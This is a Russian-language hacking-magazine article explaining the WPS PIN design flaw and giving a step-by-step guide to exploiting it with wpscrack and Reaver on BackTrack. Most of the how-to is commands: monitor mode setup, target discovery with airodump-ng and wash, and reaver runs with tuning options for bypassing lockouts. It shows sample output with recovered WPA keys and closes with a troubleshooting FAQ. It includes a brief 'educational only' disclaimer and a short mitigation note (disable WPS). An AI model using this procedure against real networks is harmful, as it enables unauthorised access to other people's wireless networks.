Содержание статьи
Еще не так давно казалось, что беспроводная сеть, защищенная с помощью технологии WPA2, вполне безопасна. Подобрать простой ключ для подключения действительно возможно. Но если установить по-настоящему длинный ключ, то сбрутить его не помогут ни радужные таблицы, ни даже ускорения за счет GPU. Но, как оказалось, подключиться к беспроводной сети можно и без этого — воспользовавшись недавно найденной уязвимостью в протоколе WPS.
WARNING
Вся информация представлена исключительно в образовательных целях. Проникновение в чужую беспроводную сеть легко может быть расценено как уголовное преступление. Думай головой.
Цена упрощений
Открытых точек доступа, к которым вообще не надо вводить ключ для подключения, становится все меньше и меньше. Кажется, что скоро их можно будет занести в Красную книгу. Если раньше человек мог даже и не знать, что беспроводную сеть можно закрыть ключом, обезопасив себя от посторонних подключений, то теперь ему все чаще подсказывают о такой возможности. Взять хотя бы кастомные прошивки, которые выпускают ведущие провайдеры для популярных моделей роутеров, чтобы упростить настройку. Нужно указать две вещи — логин/пароль и… ключ для защиты беспроводной сети. Что еще более важно, сами производители оборудования стараются сделать процесс настройки незамысловатым. Так, большинство современных роутеров поддерживают механизм WPS (Wi-Fi Protected Setup). С его помощью пользователь за считанные секунды может настроить безопасную беспроводную сеть, вообще не забивая себе голову тем, что «где-то еще нужно включить шифрование и прописать WPA-ключ». Ввел в системе восьмизначный символьный PIN, который написан на роутере, – и готово! И вот здесь держись крепче. В декабре сразу два исследователя рассказали о серьезных фундаментальных прорехах в протоколе WPS. Это как черный ход для любого роутера. Оказалось, что если в точке доступа активирован WPS (который, на минуточку, включен в большинстве роутеров по умолчанию), то подобрать PIN для подключения и извлечь ключ для подключения можно за считанные часы!
Как работает WPS?
Задумка создателей WPS хороша. Механизм автоматически задает имя сети и шифрование. Таким образом, пользователю нет необходимости лезть в веб-интерфейс и разбираться со сложными настройками. А к уже настроенной сети можно без проблем добавить любое устройство (например, ноутбук): если правильно ввести PIN, то он получит все необходимые настройки. Это очень удобно, поэтому все крупные игроки на рынке (Cisco/Linksys, Netgear, D-Link, Belkin, Buffalo, ZyXEL) сейчас предлагают беспроводные роутеры с поддержкой WPS. Разберемся чуть подробнее.
Существует три варианта использования WPS:
- Push-Button-Connect (PBC). Пользователь нажимает специальную кнопку на роутере (хардварную) и на компьютере (софтварную), тем самым активируя процесс настройки. Нам это неинтересно.
- Ввод PIN-кода в веб-интерфейсе. Пользователь заходит через браузер в административный интерфейс роутера и вводит там PIN-код из восьми цифр, написанный на корпусе устройства (рисунок 1), после чего происходит процесс настройки. Этот способ подходит скорее для первоначальной конфигурации роутера, поэтому мы его рассматривать тоже не будем.
- Ввод PIN-кода на компьютере пользователя (рисунок 2). При соединении с роутером можно открыть специальную сессию WPS, в рамках которой настроить роутер или получить уже имеющиеся настройки, если правильно ввести PIN-код. Вот это уже привлекательно. Для открытия подобной сессии не нужна никакая аутентификация. Это может сделать любой желающий! Получается, что PIN-код уже потенциально подвержен атаке типа bruteforce. Но это лишь цветочки.
![Рисунок 1. PIN-код WPS, написанный на корпусе роутера](https://xakep.ru/wp-content/uploads/2014/11/wps-pin.jpg.png)
![](https://xakep.ru/wp-content/uploads/2012/03/158-215x280.png)
Хакер #158. Взломать Wi-Fi за 10 часов
![Рисунок 2. Окно для ввода PIN-кода WPS](https://xakep.ru/wp-content/uploads/2014/11/wps-connect.jpg)
Уязвимость
Как я уже заметил ранее, PIN-код состоит из восьми цифр — следовательно, существует 10^8 (100 000 000) вариантов для подбора. Однако количество вариантов можно существенно сократить. Дело в том, что последняя цифра PIN-кода представляет собой некую контрольную сумму, которая высчитывается на основании семи первых цифр. В итоге получаем уже 10^7 (10 000 000) вариантов. Но и это еще не все! Далее внимательно смотрим на устройство протокола аутентификации WPS (рисунок 3). Такое ощущение, что его специально проектировали, чтобы оставить возможность для брутфорса. Оказывается, проверка PIN-кода осуществляется в два этапа. Он делится на две равные части, и каждая часть проверяется отдельно! Посмотрим на схему:
- Если после отсылки сообщения M4 атакующий получил в ответ EAP-NACK, то он может быть уверен, что первая часть PIN-кода неправильная.
- Если же он получил EAP-NACK после отсылки M6, то, соответственно, вторая часть PIN-кода неверна. Получаем 10^4 (10 000) вариантов для первой половины и 10^3 (1 000) для второй. В итоге имеем всего лишь 11 000 вариантов для полного перебора. Чтобы лучше понять, как это будет работать, посмотри на схему.
- Важный момент — возможная скорость перебора. Она ограничена скоростью обработки роутером WPS-запросов: одни точки доступа будут выдавать результат каждую секунду, другие — каждые десять секунд. Основное время при этом затрачивается на расчет открытого ключа по алгоритму Диффи-Хеллмана, он должен быть сгенерирован перед шагом M3. Затраченное на это время можно уменьшить, выбрав на стороне клиента простой секретный ключ, который в дальнейшем упростит расчеты других ключей. Практика показывает, что для успешного результата обычно достаточно перебрать лишь половину всех вариантов, и в среднем брутфорс занимает всего от четырех до десяти часов.
![Рисунок 3. Протокол аутентификации WPS](https://xakep.ru/wp-content/uploads/2014/11/wps-session.png)
Первая реализация
Первой появившейся реализацией брутфорса стала утилита wpscrack (goo.gl/9wABj), написанная исследователем Стефаном Фибёком на языке Python. Утилита использовала библиотеку Scapy, позволяющую инъектировать произвольные сетевые пакеты. Сценарий можно запустить только под Linux-системой, предварительно переведя беспроводной интерфейс в режим мониторинга. В качестве параметров необходимо указать имя сетевого интерфейса в системе, MAC-адрес беспроводного адаптера, а также MAC-адрес точки доступа и ее название (SSID).
$ ./wpscrack.py --iface mon0 --client 94:0c:6d:88:00:00 --bssid f4:ec:38:cf:00:00 --ssid testap -v
sniffer started
trying 00000000
attempt took 0.95 seconds
trying 00010009
<...>
trying 18660005
attempt took 1.08 seconds
trying 18670004# found 1st half of PIN
attempt took 1.09 seconds
trying 18670011
attempt took 1.08 seconds
<...>
trying 18674095# found 2st half of PIN
<...>
Network Key:
0000 72 65 61 6C 6C 79 5F 72 65 61 6C 6C 79 5F 6C 6F really_really_lo
0010 6E 67 5F 77 70 61 5F 70 61 73 73 70 68 72 61 73 ng_wpa_passphras
0020 65 5F 67 6F 6F 64 6F 6C 75 63 6B 5F 63 72 61 63 e_good_luck_crac
0030 6B 69 6E 67 5F 74 68 69 73 5F 6F 6E 65king_this_one
<...>
Как видишь, сначала была подобрана первая половина PIN-кода, затем — вторая, и в конце концов программа выдала готовый к использованию ключ для подключения к беспроводной сети. Сложно представить, сколько времени потребовалось бы, чтобы подобрать ключ такой длины (61 символ) ранее существовавшими инструментами. Впрочем, wpscrack не единственная утилита для эксплуатации уязвимости, и это довольно забавный момент: в то же самое время над той же самой проблемой работал и другой исследователь — Крейг Хеффнер из компании Tactical Network Solutions. Увидев, что в Сети появился работающий PoC для реализации атаки, он опубликовал свою утилиту Reaver. Она не только автоматизирует процесс подбора WPS-PIN и извлекает PSK-ключ, но и предлагает большее количество настроек, чтобы атаку можно было осуществить против самых разных роутеров. К тому же она поддерживает намного большее количество беспроводных адаптеров. Мы решили взять ее за основу и подробно описать, как злоумышленник может использовать уязвимость в протоколе WPS для подключения к защищенной беспроводной сети.
![Рисунок 4. Блок-схема брутфорса PIN-кода WPS](https://xakep.ru/wp-content/uploads/2014/11/bruteforce.png)
HOW-TO
Как и для любой другой атаки на беспроводную сеть, нам понадобится Linux. Тут надо сказать, что Reaver присутствует в репозитории всеми известного дистрибутива BackTrack, в котором к тому же уже включены необходимые драйвера для беспроводных устройств. Поэтому использовать мы будем именно его.
Шаг 0. Готовим систему
На официальном сайте BackTrack 5 R1 доступен для загрузки в виде виртуальной машины под VMware и загрузочного образа ISO. Рекомендую последний вариант. Можно просто записать образ на болванку, а можно с помощью программы UNetbootin сделать загрузочную флешку: так или иначе, загрузившись с такого носителя, мы без лишних заморочек сразу будем иметь систему, готовую к работе.
Экспресс-курс по взлому Wi-Fi
- WEP (Wired Equivalent Privacy) Самая первая технология для защиты беспроводной сети оказалась крайне слабой. Взломать ее можно буквально за несколько минут, используя слабости применяемого в ней шифра RC4. Основными инструментами здесь служат снифер airodump-ng для сбора пакетов и утилита aircrack-ng, используемая непосредственно для взлома ключа. Также существует специальная тулза wesside-ng, которая вообще взламывает все близлежащие точки с WEP в автоматическом режиме.
- WPA/WPA2 (Wireless Protected Access)
Перебор — это единственный способ подобрать ключ для закрытой WPA/WPA2 сети (да и то исключительно при наличии дампа так называемого WPA Handshake, который передается в эфир при подключении клиента к точке доступа).
Брутфорс может затянуться на дни, месяцы и годы. Для увеличения эффективности перебора сначала использовались специализированные словари, потом были сгенерированы радужные таблицы, позже появились утилиты, задействовавшие технологии NVIDIA CUDA и ATI Stream для аппаратного ускорения процесса за счет GPU. Используемые инструменты — aircrack-ng (брутфорс по словарю), cowpatty (с помощью радужных таблиц), pyrit (с использованием видеокарты).
Шаг 1. Вход в систему
Логин и пароль для входа по умолчанию – root:toor. Оказавшись в консоли, можно смело стартовать "иксы" (есть отдельные сборки BackTrack — как с GNOME, так и c KDE):
# startx
Шаг 2. Установка Reaver
Чтобы загрузить Reaver, нам понадобится интернет. Поэтому подключаем патчкорд или настраиваем беспроводной адаптер (меню "Applications > Internet > Wicd Network Manager"). Далее запускаем эмулятор терминала, где загружаем последнюю версию утилиты через репозиторий:
# apt-get update
# apt-get install reaver
Тут надо сказать, что в репозитории находится версия 1.3, которая лично у меня заработала неправильно. Поискав информацию о проблеме, я нашел пост автора, который рекомендует обновиться до максимально возможной версии, скомпилировав исходники, взятые из SVN. Это, в общем, самый универсальный способ установки (для любого дистрибутива).
$ svn checkout http://reaver-wps.googlecode.com/svn/trunk/ reaver-wps
$ cd ./reaver-wps/src/
$ ./configure
$ make
# make install
Никаких проблем со сборкой под BackTrack не будет — проверено лично. В дистрибутиве Arch Linux, которым пользуюсь я, установка производится и того проще, благодаря наличию соответствующего PKGBUILD'а:
$ yaourt -S reaver-wps-svn
Шаг 3. Подготовка к брутфорсу
Для использования Reaver необходимо проделать следующие вещи:
- перевести беспроводной адаптер в режим мониторинга;
- узнать имя беспроводного интерфейса;
- узнать MAC-адрес точки доступа (BSSID);
- убедиться, что на точке активирован WPS.
Для начала проверим, что беспроводной интерфейс вообще присутствует в системе:
# iwconfig
Если в выводе этой команды есть интерфейс с описанием (обычно это wlan0) – значит, система распознала адаптер (если он подключался к беспроводной сети, чтобы загрузить Reaver, то лучше оборвать подключение). Переведем адаптер в режим мониторинга:
# airmon-ng start wlan0
Эта команда создает виртуальный интерфейс в режиме мониторинга, его название будет указано в выводе команды (обычно это mon0). Теперь нам надо найти точку доступа для атаки и узнать её BSSID. Воспользуемся утилитой для прослушки беспроводного эфира airodump-ng:
# airodump-ng mon0
На экране появится список точек доступа в радиусе досягаемости. Нас интересуют точки с шифрованием WPA/WPA2 и аутентификацией по ключу PSK.
Лучше выбирать одну из первых в списке, так как для проведения атаки желательна хорошая связь с точкой. Если точек много и список не умещается на экране, то можно воспользоваться другой известной утилитой — kismet, там интерфейс более приспособлен в этом плане. Опционально можно на месте проверить, включен ли на нашей точке механизм WPS. Для этого в комплекте с Reaver (но только если брать его из SVN) идет утилита wash:
# ./wash -i mon0
В качестве параметра задается имя интерфейса, переведенного в режим мониторинга. Также можно использовать опцию '-f' и скормить утилите cap-файл, созданный, например, тем же airodump-ng. По непонятной причине в пакет Reaver в BackTrack не включили утилиту wash. Будем надеяться, к моменту публикации статьи эту ошибку исправят.
Шаг 4. Запускаем брутфорс
Теперь можно приступать непосредственно к перебору PIN’а. Для старта Reaver в самом простом случае нужно немного. Необходимо лишь указать имя интерфейса (переведенного нами ранее в режим мониторинга) и BSSID точки доступа:
# reaver -i mon0 -b 00:21:29:74:67:50 -vv
Ключ "-vv" включает расширенный вывод программы, чтобы мы могли убедиться, что все работает как надо.
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
[+] Waiting for beacon from 00:21:29:74:67:50
[+] Associated with 00:21:29:74:67:50 (ESSID: linksys)
[+] Trying pin 63979978
Если программа последовательно отправляет PIN’ы точке доступа, значит, все завелось хорошо, и остается тупо ждать. Процесс может затянуться. Самое короткое время, за которое мне удалось сбрутфорсить PIN, составило примерно пять часов. Как только он будет подобран, программа радостно об этом сообщит:
[+] Trying pin 64637129
[+] Key cracked in 13654 seconds
[+] WPS PIN: '64637129'
[+] WPA PSK: 'MyH0rseThink$YouStol3HisCarrot!'
[+] AP SSID: 'linksys'
Самое ценное здесь — это, конечно же, ключ WPA-PSK, который сразу же можно использовать для подключения. Все так просто, что даже не укладывается в голове.
![Рисунок 5. Пример работы брутфорcа Reaver](https://xakep.ru/wp-content/uploads/2014/11/reaver.png)
Можно ли защититься?
Защититься от атаки можно пока одним способом — отключить нафиг WPS в настройках роутера. Правда, как оказалось, сделать это возможно далеко не всегда. Поскольку уязвимость существует не на уровне реализации, а на уровне протокола, ждать от производителей скорого патча, который решил бы все проблемы, не стоит. Самое большее, что они могут сейчас сделать, – это максимально противодействовать брутфорсу. Например, если блокировать WPS на один час после пяти неудачных попыток ввода PIN-кода, то перебор займет уже около 90 дней. Но другой вопрос, насколько быстро можно накатить такой патч на миллионы устройств, которые работают по всему миру?
Прокачиваем Reaver
В HOWTO мы показали самый простой и наиболее универсальный способ использования утилиты Reaver. Однако реализация WPS у разных производителей отличается, поэтому в некоторых случаях необходима дополнительная настройка. Ниже я приведу дополнительные опции, которые могут повысить скорость и эффективность перебора ключа.
- Можно задать номер канала и SSID точки доступа:
# reaver -i mon0 -b 00:01:02:03:04:05 -c 11 -e linksys
- Благотворно сказывается на скорости брутфорса опция '--dh-small', которая задает небольшое значение секретного ключа, тем самым облегчая расчеты на стороне точки доступа:
# reaver -i mon0 -b 00:01:02:03:04:05 -vv --dh-small
- Таймаут ожидания ответа по умолчанию равен пяти секундам. При необходимости его можно изменить:
# reaver -i mon0 -b 00:01:02:03:04:05 -t 2
- Задержка между попытками по умолчанию равна одной секунде. Она также может быть настроена:
# reaver -i mon0 -b 00:01:02:03:04:05 -d 0
- Некоторые точки доступа могут блокировать WPS на определенное время, заподозрив, что их пытаются поиметь. Reaver эту ситуацию замечает и делает паузу в переборе на 315 секунд по умолчанию, длительность этой паузы можно менять:
# reaver -i mon0 -b 00:01:02:03:04:05 --lock-delay=250
- Некоторые реализации протокола WPS разрывают соединение при неправильном PIN-коде, хотя по спецификации должны возвращать особое сообщение. Reaver автоматически распознает такую ситуацию, для этого существует опция '--nack':
# reaver -i mon0 -b 00:01:02:03:04:05 --nack
- Опция '--eap-terminate' предназначена для работы с теми АР, которые требуют завершения WPS-сессии с помощью сообщения EAP FAIL:
# reaver -i mon0 -b 00:01:02:03:04:05 --eap-terminate
- Возникновение ошибок в WPS-сессии может означать, что АР ограничивает число попыток ввода PIN-кода, либо просто перегружена запросами. Информация об этом будет отображаться на экране. В этом случае Reaver приостанавливает свою деятельность, причем время паузы может быть задано с помощью опции '--fail-wait':
# reaver -i mon0 -b 00:01:02:03:04:05 --fail-wait=360
![Рисунок 6. Reaver Pro — железка от создателей Reaver](https://xakep.ru/wp-content/uploads/2014/11/reaver-pro.png)
FAQ
Вопрос: Какой беспроводной адаптер нужен для взлома?
Ответ: Перед тем как экспериментировать, нужно убедиться, что беспроводной адаптер может работать в режиме мониторинга. Лучший способ — свериться со списком поддерживаемого оборудования на сайте проекта Aircrack-ng. Если же встанет вопрос о том, какой беспроводной модуль купить, то начать можно с любого адаптера на чипсете RTL8187L. USB’шные донглы легко найти в интернете за 20$.
Вопрос: Почему у меня возникают ошибки "timeout" и "out of order"?
Ответ: Обычно это происходит из-за низкого уровня сигнала и плохой связи с точкой доступа. Кроме того, точка доступа может на время заблокировать использование WPS.
Вопрос: Почему у меня не работает спуфинг MAC-адреса?
Ответ: Возможно, ты спуфишь MAC виртуального интерфейса mon0, а это работать не будет. Надо указывать имя реального интерфейса, например, wlan0.
Вопрос: Почему при плохом сигнале Reaver работает плохо, хотя тот же взлом WEP проходит нормально?
Ответ: Обычно взлом WEP происходит путем повторной пересылки перехваченных пакетов, чтобы получить больше векторов инициализации (IV), необходимых для успешного взлома. В этом случае неважно, потерялся какой-либо пакет, либо как-то был поврежден по пути. А вот для атаки на WPS необходимо строгое следование протоколу передачи пакетов между точкой доступа и Reaver для проверки каждого PIN-кода. И если при этом какой-то пакет потеряется, либо придет в непотребном виде, то придется заново устанавливать WPS-сессию. Это делает атаки на WPS гораздо более зависимыми от уровня сигнала. Также важно помнить, что если твой беспроводной адаптер видит точку доступа, то это ещё не значит, что и точка доступа видит тебя. Так что если ты являешься счастливым обладателем высокомощного адаптера от ALFA Network и антенны на пару десятков dBi, то не надейся, что получится поломать все пойманные точки доступа.
Вопрос: Reaver все время посылает точке доступа один и тот же PIN, в чем дело?
Ответ: Проверь, активирован ли на роутере WPS. Это можно сделать при помощи утилиты wash: запусти её и проверь, что твоя цель находится в списке.
Вопрос: Почему я не могу ассоциироваться с точкой доступа?
Ответ: Это может быть из-за плохого уровня сигнала или потому, что твой адаптер непригоден для подобных изысканий.
Вопрос: Почему я постоянно получаю ошибки "rate limiting detected"? Ответ: Это происходит потому, что точка доступа заблокировала WPS. Обычно это временная блокировка (около пяти минут), но в некоторых случаях могут влепить и перманентный бан (разблокировка только через административную панель). Есть один неприятный баг в Reaver версии 1.3, из-за которого не определяются снятия подобных блокировок. В качестве воркэраунда предлагают использовать опцию '--ignore-locks' или скачать последнюю версию из SVN.
Вопрос: Можно ли одновременно запустить два и более экземпляров Reaver для ускорения атаки?
Ответ: Теоретически можно, но если они будут долбить одну и ту же точку доступа, то скорость перебора едва ли увеличится, так как в данном случае она ограничивается слабым железом точки доступа, которое уже при одном атакующем загружается по полной.